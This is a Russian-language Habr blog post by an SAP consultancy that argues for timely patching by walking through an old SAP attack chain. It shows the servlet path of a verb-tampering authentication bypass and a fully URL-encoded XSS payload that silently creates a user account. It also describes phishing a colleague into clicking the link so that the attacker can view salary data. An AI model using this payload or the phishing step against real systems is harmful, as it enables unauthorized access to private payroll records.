Pull to refresh
0
SAP
Лидер рынка корпоративных приложений

Безопасность SAP. Регулярно ли вы устанавливаете обновления?

Reading time 3 min
Views 57K
Если ты работаешь в компании списка Forbes 500, высока вероятность того, что твою зарплату считает HR модуль SAP ERP. Я покажу как, используя ошибки SAP, посмотреть чужую зарплату в системе SAP ERP.

Disclaimer: Это наш первый официальный пост на Хабре (надеемся, что и не последний), и мы хотели бы начать с освещения одной из самый важных тем. Информация в этом посте исключительно для ознакомления и демонстрации критичности вопросов безопасности. В статье мы использовали две очень старые уязвимости. При регулярном обновлении системы патчами такой сценарий будет невозможен.

Итак, только работники HR имеют доступ к данным расчета зарплаты. Даже если у тебя есть доступ SAP GUI, и ты попытаешься зайти в транзакцию просмотра данных по з/п, то с вероятностью 99% тебе будет отказано:



Доступа нет, а зарплату посмотреть хочется. Идем смотреть эксплоиты для SAP. Какой у нас есть инструментарий с эксплоитами? Правильно, Metasploit. Гуглим. Ага, на github есть целая папочка metasploit-framework/modules/auxiliary/scanner/sap/. Три десятка эксплоитов, однако:



Вот, например, “Обход аутентификации с помощью Verb Tampering” (modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb), про него уже писали на Хабре.

Коротко суть уязвимости в том, что один из админских сервисов Java-сервера, который входит в пакет поставки SAP NetWeaver, доступен запросом типа HEAD (в противовес запрещенным запросам GET и POST). Если открыть github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb мы видим, что проблема заключается в обращении к сервлету:

/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']

Конечно, мы можем поставить Metasploit и запустить скрипт с локального компьютера. Но:

1. Нет доступа в локальную сеть, а сервис скорее всего закрыт на доступ из-вне
2. Скрипт будет запущен от твоего имени

Поэтому давай, а) составим скрипт сами на основе кода sap_ctc_verb_tampering_user_mgmt.rb б) дадим запустить этот скрипт кому-нибудь из коллег, используя одну из ошибок XSS

Про XSS на Хабре писали уже много раз (читай раз habrahabr.ru/post/66057 два habrahabr.ru/post/197672)

Идем гуглить securityfocus. По запросу «sap xss exploit site:http://www.securityfocus.com/» выпадает 359 результатов



По www.securityfocus.com/bid/15361/exploit видим запрос, который исполнит Javascript на компьютере пользователя:

www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E


Вместо дамми мы вставим HEAD-запрос к /ctc/ConfigServlet

А для того, чтобы результатов запроса никто не увидел, покажем пользователю картинку, обязательно с котиками:



Итоговая ссылка после кодировки в URL будет выглядеть так:

www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd= %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest()%3Bhttp.open(%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20

Итак, составляем письмо коллегам:



Нина Ивановна играет в Flash-игру:



А мы — получаем пользователя test444, который (если активирован NetWeaver ABAP в качестве источника пользователей) создастся не только на сервере NetWeaver Application Server Java, но и в бэкенде – NetWeaver Application Server ABAP.



Логинимся, проверям. Транзакция HR-модуля работает!



Выводы. Мы использовали две уязвимости 2011 и 2009 года. При регулярном обновлении системы патчами такой сценарий будет невозможен. К сожалению, многие базисники забывают регулярно заглядывать в service.sap.com/securitynotes и проверять соответствие последним патчам, или делают это нерегулярно. С 2010 года компания SAP организует «Security Patch Day» каждый второй вторник каждого месяца, когда происходит массовый выпуск патчей по безопасности. Компания SAP просит партнеров не публиковать и не разглашать информацию о найденных уязвимостях как минимум 3 месяца с момента выпуска патча. Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.

Автор — Даниил Лузин
Консалтинговое подразделение ООО «САП СНГ»
Космодамианская наб. 52/7, 113054 Москва
Т. +7 495 755 9800 доп. 3045
М. +7 926 452 0425
Ф. +7 495 755 98 01

Update: Некоторые люди не захотели прочитать статью дальше заголовка, чтобы понять ее суть. Чтобы не вводить никого в заблуждение, мы решили сменить заголовок, отражающий содержимое поста.
Tags:
Hubs:
+27
Comments 36
Comments Comments 36

Articles

Information

Website
sap.com
Registered
Founded
Employees
5,001–10,000 employees
Location
Германия